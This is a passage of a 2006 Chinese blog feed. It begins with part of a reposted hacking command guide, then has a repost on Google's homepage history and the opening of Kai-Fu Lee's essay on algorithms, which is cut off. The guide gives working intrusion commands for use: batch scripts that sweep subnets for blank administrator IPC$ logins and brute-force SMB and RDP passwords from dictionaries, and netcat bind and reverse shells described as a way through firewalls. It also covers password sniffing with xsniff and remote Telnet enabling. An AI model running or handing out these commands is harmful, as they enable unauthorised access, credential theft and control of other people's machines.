/>who 查询目前和你使用同一台机器的人以及Login时间地点 <br />w 查询目前上机者的详细资料 <br />whoami 查看自己的帐号名称 <br />groups 查看某人的Group <br />passwd 更改密码 <br />history 查看自己下过的命令 <br />ps 显示进程状态 <br />kill 停止某进程 <br />gcc 黑客通常用它来编译C语言写的文件 <br />su 权限转换为指定使用者 <br />telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 <br />ftp ftp连接上某服务器（同win2K） </p><p align="left">附：批处理命令与变量</p><p align="left">1：for命令及变量 基本格式： <br />FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可<br />替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的<br />（%i 不等于 %I）。<br />批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处<br />理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user <br />中ip为%1,pass为%2 ,user为%3</p><p align="left">(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”<br />第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”<br />说明：即从254到1 }</p><p align="left">command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：&amp; 来隔开<br />command_parameters：为特定命令指定参数或命令行开关</p><p align="left">IN (set)：指在(set)中取值；DO command ：指执行command</p><p align="left">参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。 <br />用法举例： <br />@echo off <br />echo 用法格式：test.bat *.*.* &gt; test.txt </p><p align="left">for /L %%G in (1 1 254) do echo %1.%%G &gt;&gt;test.txt &amp; net use \\%1.%%G /user:***istrator | find "命<br />令成功完成" &gt;&gt;test.txt <br />存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立***istrator密码为空的IPC$连接，如果<br />成功就把该IP存在test.txt中。</p><p align="left">/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量<br />(ip的最后一位）；&amp; 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是<br />否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 <br />@echo off <br />echo 用法格式：ok.bat ip <br />FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 <br />存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中<br />值取完为止。%%i为用户名；%1为输入的IP地址（默认）。</p><p align="left">#7 七：</p><p align="left">2：if命令及变量 基本格式： <br />IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定<br />条件为“真”。<br />例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令<br />指程序执行最后返回的值不等于1，就执行后面的命令。<br />0 指发现并成功执行（真）；1 指没有发现、没执行（假）。 <br />IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就<br />执行后面的命令。<br />例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变<br />量时就%变量名%并加" "） <br />IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。<br />例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。 <br />IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句<br />或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，<br />就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容<br />用&lt; &gt;括起来，因为del命令要单独一行时才能执行，用上&lt; &gt;后就等于是单独一行了；<br />例如：“if exist test.txt. &lt;del test.txt.&gt; else echo test.txt.missing ”，注意命令中的“.” </p><p align="left">（二）系统外部命令(均需下载相关工具)：</p><p align="left">1、瑞士军刀：nc.exe</p><p align="left">参数说明： <br />-h 查看帮助信息 <br />-d 后台模式 <br />-e prog程序重定向，一但连接就执行［危险］ <br />-i secs延时的间隔 <br />-l 监听模式，用于入站连接 <br />-L 监听模式，连接天闭后仍然继续监听，直到CTR+C <br />-n IP地址，不能用域名 <br />-o film记录16进制的传输 <br />-p[空格]端口 本地端口号 <br />-r 随机本地及远程端口 <br />-t 使用Telnet交互方式 <br />-u UDP模式 <br />-v 详细输出，用-vv将更详细 <br />-w数字 timeout延时间隔 <br />-z 将输入，输出关掉（用于扫锚时） <br />基本用法： <br />nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口 <br />nc -l -p 80 开启本机的TCP 80端口并监听 <br />nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口 <br />nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口 <br />nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2<br />的5354端口 <br />高级用法： <br />nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止 <br />nc -L -p 80 &gt; c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt <br />nc -L -p 80 &lt; c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt<br />中内容送入管道中，亦可起到传送文件作用 <br />type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把<br />c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 <br />本机上用：nc -l -p 本机端口 <br />在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K<br />nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 <br />本机上用：nc -d -l -p 本机端口 &lt; 要传送的文件路径及名称 <br />在对方主机上用：nc -vv 本机IP 本机端口 &gt; 存放文件的路径及名称 传送文件到对方主机 <br />备 注： <br />| 管道命令 <br />&lt; 或 &gt; 重定向命令。“&lt;”，例如：tlntadmn &lt; test.txt 指把test.txt的内容赋值给tlntadmn命令 <br />＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt &gt;&gt; d:\log.txt 意思是：<br />后台执行dir，并把结果存在d:\log.txt中 <br />&gt;与&gt;&gt;的区别 　"&gt;"指：覆盖；"&gt;&gt;"指：保存到(添加到）。<br />如：@dir c:\winnt &gt;&gt; d:\log.txt和@dir c:\winnt &gt; d:\log.txt二个命令分别执行二次比较看：<br />用&gt;&gt;的则是把二次的结果都保存了，而用：&gt;则只有一次的结果，是因为第二次的结果把第一次的覆盖了。</p><p align="left">#8 八：</p><p align="left">2、扫锚工具：xscan.exe</p><p align="left">基本格式 <br />xscan -host &lt;起始IP&gt;[-&lt;终止IP&gt;] &lt;检测项目&gt; [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 <br />xscan -file &lt;主机列表文件名&gt; &lt;检测项目&gt; [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 <br />检测项目 <br />-active 检测主机是否存活 <br />-os 检测远程操作系统类型（通过NETBIOS和SNMP协议） <br />-port 检测常用服务的端口状态 <br />-ftp 检测FTP弱口令 <br />-pub 检测FTP服务匿名用户写权限 <br />-pop3 检测POP3-Server弱口令 <br />-smtp 检测SMTP-Server漏洞 <br />-sql 检测SQL-Server弱口令 <br />-smb 检测NT-Server弱口令 <br />-iis 检测IIS编码/解码漏洞 <br />-cgi 检测CGI漏洞 <br />-nasl 加载Nessus攻击脚本 <br />-all 检测以上所有项目 <br />其它选项 <br />-i 适配器编号 设置网络适配器, &lt;适配器编号&gt;可通过"-l"参数获取 <br />-l 显示所有网络适配器 <br />-v 显示详细扫描进度 <br />-p 跳过没有响应的主机 <br />-o 跳过没有检测到开放端口的主机 <br />　 -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 <br />-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件) <br />用法示例 <br />xscan -host 192.168.1.1-192.168.255.255 -all -active -p　 检测192.168.1.1-192.168.255.255网段内<br />主机的所有漏洞，跳过无响应的主机 <br />xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段<br />内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机 <br />xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，<br />CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开<br />放端口的主机</p><p align="left">#9 九：</p><p align="left">3、命令行方式嗅探器: xsniff.exe<br />可捕获局域网内FTP/SMTP/POP3/HTTP协议密码<br />参数说明 <br />-tcp 输出TCP数据报 <br />-udp 输出UDP数据报 <br />-icmp 输出ICMP数据报 <br />-pass 过滤密码信息 <br />-hide 后台运行 <br />-host 解析主机名 <br />-addr IP地址 过滤IP地址 <br />-port 端口 过滤端口 <br />-log 文件名 将输出保存到文件 <br />-asc 以ASCII形式输出 <br />-hex 以16进制形式输出 <br />用法示例 <br />xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 <br />xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 </p><p align="left">4、终端服务密码破解: tscrack.exe</p><p align="left">参数说明 <br />-h 显示使用帮助 <br />-v 显示版本信息 <br />-s 在屏幕上打出解密能力 <br />-b 密码错误时发出的声音 <br />-t 同是发出多个连接（多线程） <br />-N Prevent System Log entries on targeted server <br />-U 卸载移除tscrack组件 <br />-f 使用－f后面的密码 <br />-F 间隔时间（频率） <br />-l 使用－l后面的用户名 <br />-w 使用－w后面的密码字典 <br />-p 使用－p后面的密码 <br />-D 登录主页面 <br />用法示例 <br />tscrack 192.168.0.1 -l ***istrator -w pass.dic 远程用密码字典文件暴破主机的***istrator的登陆密码 <br />tscrack 192.168.0.1 -l ***istrator -p 123456 用密码123456远程登陆192.168.0.1的***istrator用户 <br />@if not exist ipcscan.txt goto noscan <br />@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i <br />nscan <br />@echo 3389.txt no find or scan faild <br />(①存为3389.bat) （假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) <br />3389.bat意思是：从3389.txt文件中取一个IP，接着运行hack.bat <br />@if not exist tscrack.exe goto noscan <br />@tscrack %1 -l ***istrator -w pass.dic &gt;&gt;rouji.txt <br />:noscan <br />@echo tscrack.exe no find or scan faild <br />(②存为hack.bat) (运行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同<br />一个目录下；就可以等待结果了) <br />hack.bat意思是：运行tscrack.exe用字典暴破3389.txt中所有主机的***istrator密码，并将破解结果保存<br />在rouji.txt文件中。 </p><p align="left">5、其它：</p><p align="left">Shutdown.exe <br />Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭（Windows 2003系统自带工具，在Windows2000<br />下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。） <br />fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明（端口重定向绕过防火墙） <br />fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时，他扫到的结果会完全是<br />www.sina.com.cn的主机信息 <br />Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后，就通过88<br />端口发送到目标IP的23端口。（与目标IP建立Telnet时本机就用的88端口与其相连接）然后：<br />直接Telnet 127.0.0.1（本机IP）就连接到目标IP的23端口了。 <br />OpenTelnet.exe (远程开启telnet工具) <br />opentelnet.exe \\IP 帐号　密码　ntlm认证方式　Telnet端口 （不需要上传ntlm.exe破坏微软的身<br />份验证方式）直接远程开启对方的telnet服务后，就可用telnet \\ip 连接上对方。<br />NTLM认证方式：０：不使用NTLM身份验证；１：先尝试NTLM身份验证，如果失败，再使用用户<br />名和密码；２：只使用NTLM身份验证。</p><p align="left">ResumeTelnet.exe (OpenTelnet附带的另一个工具) <br />resumetelnet.exe \\IP　帐号　密码 用Telnet连接完对方后，就用这个命令将对方的Telnet设置还原，<br />并同时关闭Telnet服务。</p><p align="left">#10 十：</p><p align="left">6、FTP命令详解：</p><p align="left">FTP命令是Internet用户使用最频繁的命令之一，熟悉并灵活应用FTP的内部命令，可以大大方便使用者，<br />并收到事半功倍之效。如果你想学习使用进行后台FTP下载，那么就必须学习FTP指令。</p><p align="left">FTP的命令行格式为： <br />ftp -v -d -i -n -g [主机名] ，其中</p><p align="left">-v 显示远程服务器的所有响应信息；</p><p align="left">-n 限制ftp的自动登录，即不使用；.n etrc文件；</p><p align="left">-d 使用调试方式；</p><p align="left">-g 取消全局文件名。</p><p align="left">FTP使用的内部命令如下(中括号表示可选项):</p><p align="left">1.![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!ls*.zip <br />2.$ macro-ame[args]： 执行宏定义macro-name。</p><p align="left">3.account[password]： 提供登录远程系统成功后访问系统资源所需的补充口令。 <br />4.append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，<br />则使用本地文件名。</p><p align="left">5.ascii：使用ascii类型传输方式。<br />6.bell：每个命令执行完毕后计算机响铃一次。</p><p align="left">7.bin：使用二进制文件传输方式。<br />8.bye：退出ftp会话过程。</p><p align="left">9.case：在使用mget时，将远程主机文件名中的大写转为小写字母。 <br />10.cd remote-dir：进入远程主机目录。</p><p align="left">11.cdup：进入远程主机目录的父目录。 <br />12.chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如：chmod 777 a.out。</p><p align="left">13.close：中断与远程服务器的ftp会话(与open对应)。 <br />14.cr：使用asscii方式传输文件时，将回车换行转换为回行。</p><p align="left">15.delete remote-file：删除远程主机文件。 <br />16.debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如：deb up 3，若设为0，<br />表示取消debug。</p><p align="left">17.dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件。 <br />18.disconnection：同close。</p><p align="left">19.form format：将文件传输方式设置为format，缺省为file方式。 <br />20.get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。</p><p align="left">21.glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。 <br />22.hash：每传输1024字节，显示一个hash符号(#)。</p><p align="left">23.help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。 <br />24.idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。</p><p align="left">25.image：设置二进制传输方式(同binary)。 <br />26.lcd[dir]：将本地工作目录切换至dir。</p><p align="left">27.ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。 <br />28.macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。</p><p align="left">29.mdelete[remote-file]：删除远程主机文件。 <br />30.mdir remote-files local-file：与dir类似，但可指定多个远程文件，如 ：mdir *.o.*.zipoutfile 。</p><p align="left">31.mget remote-files：传输多个远程文件。 <br />32.mkdir dir-name：在远程主机中建一目录。</p><p align="left">33.mls remote-file local-file：同nlist，但可指定多个文件名。 <br />34.mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。</p><p align="left">35.modtime file-name：显示远程主机文件的最后修改时间。 <br />36.mput local-file：将多个文件传输至远程主机。</p><p align="left">37.newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。<br />38.nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。</p><p align="left">39.nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换， <br />如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件a1.a2.a3时，文件名变为a1，a2。 该命令特别适<br />用于远程主机为非UNIX机的情况。<br />40.ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。</p><p align="left">41.open host[port]：建立指定ftp服务器连接，可指定连接端口。 <br />42.passive：进入被动传输方式。</p><p align="left">43.prompt：设置多个文件传输时的交互提示。 <br />44.proxy ftp-cmd：在次要控制连接中，执行一条ftp命令， 该命令允许连接两个ftp服务器，以在两个<br />服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。<br />45.put local-file[remote-file]：将本地文件local-file传送至远程主机。 <br />46.pwd：显示远程主机的当前工作目录。</p><p align="left">47.quit：同bye，退出ftp会话。 <br />48.quote arg1，arg2...：将参数逐字发至远程ftp服务器，如：quote syst.</p><p align="left">49.recv remote-file[local-file]：同get。 <br />50.reget remote-file[local-file]：类似于get， 但若local-file存在，则从上次传输中断处续传。</p><p align="left">51.rhelp[cmd-name]：请求获得远程主机的帮助。 <br />52.rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。</p><p align="left">53.rename[from][to]：更改远程主机文件名。 <br />54.reset：清除回答队列。</p><p align="left">55.restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。 <br />56.rmdir dir-name：删除远程主机目录。</p><p align="left">57.runique：设置文件名只一性存储，若文件存在，则在原文件后加后缀.1， .2等。 <br />58.send local-file[remote-file]：同put。</p><p align="left">59.sendport：设置PORT命令的使用。 <br />60.site arg1，arg2...：将参数作为SITE命令逐字发送至远程ftp主机。</p><p align="left">61.size file-name：显示远程主机文件大小，如：site idle 7200。 <br />62.status：显示当前ftp状态。</p><p align="left">63.struct[struct-name]：将文件传输结构设置为struct-name， 缺省时使用stream结构。 <br />64.sunique：将远程主机文件名存储设置为只一(与runique对应)。</p><p align="left">65.system：显示远程主机的操作系统类型。 <br />66.tenex：将文件传输类型设置为TENEX机的所需的类型。</p><p align="left">67.tick：设置传输时的字节计数器。 <br />68.trace：设置包跟踪。</p><p align="left">69.type[type-name]：设置文件传输类型为type-name，缺省为ascii，如:type binary，设置二进制传输方式。 <br />70.umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3</p><p align="left">71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，<br />如：user anonymous my@email。 <br />72.verbose：同命令行的-v参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为on.</p><p align="left">73.?[cmd]：同help.</p><p align="left">#11 十一：</p><p align="left">7：计算机运行命令全集 winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />winver---------检查Windows版本<br />wmimgmt.msc----打开windows管理体系结构<br />wupdmgr--------windows更新程序<br />wscript--------windows脚本宿主设置<br />write----------写字板winmsd-----系统信息<br />wiaacmgr-------扫描仪和照相机向导<br />winchat--------XP自带局域网聊天<br />mem.exe--------显示内存使用情况<br />Msconfig.exe---系统配置实用程序 <br />mplayer2-------简易widnows media player<br />mspaint--------画图板<br />mstsc----------远程桌面连接<br />mplayer2-------媒体播放机<br />magnify--------放大镜实用程序<br />mmc------------打开控制台<br />mobsync--------同步命令<br />dxdiag---------检查DirectX信息<br />drwtsn32------ 系统医生<br />devmgmt.msc--- 设备管理器<br />dfrg.msc-------磁盘碎片整理程序<br />diskmgmt.msc---磁盘管理实用程序<br />dcomcnfg-------打开系统组件服务<br />ddeshare-------打开DDE共享设置<br />dvdplay--------DVD播放器<br />net stop messenger-----停止信使服务<br />net start messenger----开始信使服务 <br />notepad--------打开记事本<br />nslookup-------网络管理的工具向导<br />ntbackup-------系统备份和还原<br />narrator-------屏幕"讲述人"<br />ntmsmgr.msc----移动存储管理器<br />ntmsoprq.msc---移动存储管理员操作请求<br />netstat -an----(TC)命令检查接口<br />syncapp--------创建一个公文包<br />sysedit--------系统配置编辑器<br />sigverif-------文件签名验证程序<br />sndrec32-------录音机<br />shrpubw--------创建共享文件夹<br />secpol.msc-----本地安全策略<br />syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码<br />services.msc---本地服务设置<br />Sndvol32-------音量控制程序<br />sfc.exe--------系统文件检查器<br />sfc /scannow---windows文件保护<br />tsshutdn-------60秒倒计时关机命令<br />tourstart------xp简介（安装完成后出现的漫游xp程序）<br />taskmgr--------任务管理器<br />eventvwr-------事件查看器<br />eudcedit-------造字程序 <br />explorer-------打开资源管理器<br />packager-------对象包装程序<br />perfmon.msc----计算机性能监测程序<br />progman--------程序管理器<br />regedit.exe----注册表 <br />rsop.msc-------组策略结果集<br />regedt32-------注册表编辑器<br />rononce -p ----15秒关机<br />regsvr32 /u *.dll----停止dll文件运行<br />regsvr32 /u zipfldr.dll------取消ZIP支持<br />cmd.exe--------CMD命令提示符<br />chkdsk.exe-----Chkdsk磁盘检查<br />certmgr.msc----证书管理实用程序<br />calc-----------启动计算器<br />charmap--------启动字符映射表<br />cliconfg-------SQL SERVER 客户端网络实用程序<br />Clipbrd--------剪贴板查看器<br />conf-----------启动netmeeting<br />compmgmt.msc---计算机管理<br />cleanmgr-------**整理<br />ciadv.msc------索引服务程序<br />osk------------打开屏幕键盘<br />odbcad32-------ODBC数据源管理器<br />oobe/msoobe /a----检查XP是否激活<br />lusrmgr.msc----本机用户和组<br />logoff---------注销命令<br />iexpress-------木马捆绑工具，系统自带<br />Nslookup-------IP地址侦测器<br />fsmgmt.msc-----共享文件夹管理器<br />utilman--------辅助工具管理器<br />gpedit.msc-----组策略</p><p align="left"> </p><img src ="http://www.cnitblog.com/martin/aggbug/9885.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-29 09:59 <a href="http://www.cnitblog.com/martin/archive/2006/04/29/9885.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]巨头的成长史！Google首页八年回顾展[图]</title><link>http://www.cnitblog.com/martin/archive/2006/04/26/9684.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Wed, 26 Apr 2006 05:32:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/26/9684.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9684.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/26/9684.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9684.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9684.html</trackback:ping><description><![CDATA[
		<table align="center" border="0" cellpadding="0" cellspacing="0" width="95%">
				<tbody>
						<tr>
								<td align="center">
										<h1 class="p16">巨头的成长史！Google首页八年回顾展<font color="red">[图]</font></h1>
								</td>
						</tr>
						<tr>
								<td>
										<hr align="center" noshade="noshade" size="1" width="95%" />
								</td>
						</tr>
						<tr>
								<td align="center">
										<font color="#0000ff">http://www.enorth.com.cn　 
<!--function pub_date() parse begin-->
2006-04-24 09:50
<!--function: pub_date() parse end  0ms cost! --></font>
								</td>
						</tr>
						<tr>
								<td class="p14">
										<div align="center">
												<br />
												<!--function topic() parse begin-->
												<!--function: topic() parse end  15ms cost! -->
										</div>
								</td>
						</tr>
						<tr>
								<td>
										<!--function link(down,1,3,none,none,class=sg,none) parse begin-->
										<!--function: link(down,1,3,none,none,class=sg,none) parse end  16ms cost! -->
										<br />
								</td>
						</tr>
						<tr>
								<td class="p14">
										<!--function content() parse begin-->
										<p align="left">　　作为目前全球最大网络搜索引擎提供商，Google的增长速度甚至远超过当年的微软，从1998年创建至今，Google已经八岁了，在这八年中，Google是如何成长的，其实，从Google首页中就可以窥视一二。<br /><br />　　1998年：Beta阶段的Google还在强调“Stanford搜索”方式，不过已经开始提供Google Friends订阅服务，及时报道Google Beta的最新情况－－那时的Google首页还比较“土”。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792231_884682.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　1999年：Google自己的搜索引擎开发雏形，首页已经初具简洁明快风格－－也是Google历史上文字最少的首页版本。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792232_870284.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2000年：从千年虫中幸免，当时的Google已被Yahoo Internet Life评选为最佳搜索引擎－－嗯，当时他们还在首页招兵买马。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792233_055750.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2001年：911之后，Google向所遇害者表示悼念－－五年过去了，回想起来晃若昨日。<br /><br />　　2001年也是Google开始为更多人认可和推荐的起点。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792234_810040.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2002年：Google开始对首页额外链接布局进行重新设计，并首次将标签条加入首页搜索栏。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792235_931083.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2003年：Google的情人节首页，Google搜索索引页数超越10亿，首页布局则没有多少变化。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792236_196093.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2004年：Google奥林匹克Logo，取消搜索框标签，首页更加简洁，当然，用“More”来代表Google越来越多的附加服务。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792237_719184.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2005年：索引页几乎比2004年提高一倍，推出Google Local。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792238_973247.jpg" border="0" />
										</p>
										<p>
												<br />
												<br />　　2006年：和中国政府更多合作，Gmail帐户将更多Google服务内容提供给用户，首页右上角更多个性化设置选择，搜索索引页达到250亿。</p>
										<p align="center">
												<br />
												<br />
												<img alt="Goolge" src="http://pic.enorth.com.cn/0/01/79/22/1792239_332510.jpg" border="0" />
										</p>
										<!--function: content() parse end  16ms cost! -->
								</td>
						</tr>
						<tr>
								<td class="p14">
										<br />
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.cnitblog.com/martin/aggbug/9684.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-26 13:32 <a href="http://www.cnitblog.com/martin/archive/2006/04/26/9684.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]算法的力量(李开复)</title><link>http://www.cnitblog.com/martin/archive/2006/04/26/9683.html</link><dc:creator>Martin</dc:creator><author>Martin</author><pubDate>Wed, 26 Apr 2006 05:23:00 GMT</pubDate><guid>http://www.cnitblog.com/martin/archive/2006/04/26/9683.html</guid><wfw:comment>http://www.cnitblog.com/martin/comments/9683.html</wfw:comment><comments>http://www.cnitblog.com/martin/archive/2006/04/26/9683.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/martin/comments/commentRss/9683.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/martin/services/trackbacks/9683.html</trackback:ping><description><![CDATA[From: 《程序员》CSDN<br /><br />算法是计算机科学领域最重要的基石之一，但却受到了国内一些程序员的冷落。许多学生<br /><br />看到一些公司在招聘时要求的编程语言五花八门就产生了一种误解，认为学计算机就是学<br /><br />各种编程语言，或者认为，学习最新的语言、技术、标准就是最好的铺路方法。其实大家<br /><br />都被这些公司误导了。编程语言虽然该学，但是学习计算机算法和理论更重要，因为计算<br /><br />机算法和理论更重要，因为计算机语言和开发平台日新月异，但万变不离其宗的是那些算<br /><br />法和理论，例如数据结构、算法、编译原理、计算机体系结构、关系型数据库原理等等。<br /><br />在“开复学生网”上，有位同学生动地把这些基础课程比拟为“内功”，把新的语言、技<br /><br />术、标准比拟为“外功”。整天赶时髦的人最后只懂得招式，没有功力，是不可能成为高<br /><br />手的。<br /><br />算法与我<br />当我在1980年转入计算机科学系时，还没有多少人的专业方向是计算机科学。有许多其他<br /><br />系的人嘲笑我们说：“知道为什么只有你们系要加一个‘科学’，而没有‘物理科学系’<br /><br />或‘化学科学系’吗？因为人家是真的科学，不需要画蛇添足，而你们自己心虚，生怕不<br /><br />‘科学’，才这样欲盖弥彰。”其实，这点他们彻底弄错了。真正学懂计算机的人（不只<br /><br />是“编程匠”）都对输血有相当的造诣，既能用科学家的严谨思维来求证，也能用工程师<br /><br />的务实手段来解决问题——而这种思维和手段的最佳演绎就是“算法”。<br /><br />记得我读博时写的Othello对弈软件获得了世界冠军。当时，得第二名的人认为我是靠侥<br /><br />幸才打赢他，不服气地问我的程序平均每秒能搜索多少步棋，当他发现我的软件在搜索效<br /><br />率上比他快60多倍时，才彻底服输。为什么在同样的机器上，我可以多做60倍的工作呢？<br /><br />这是因为我用了一个最新的算法，能够把一个指数函数转换成四个近似的表，只要用常数<br /><br />时间就可得到近似的答案。在这个例子中，是否用对算法才是能否赢得世界冠军的关键。<br /><br /><br />还记得1988年贝尔实验室副总裁亲自来访问我的学校，目的就是为了想了解为什么他们的<br /><br />语音识别系统比我开发的慢几十倍，而且，在扩大至大词汇系统后，速度差异更有几百倍<br /><br 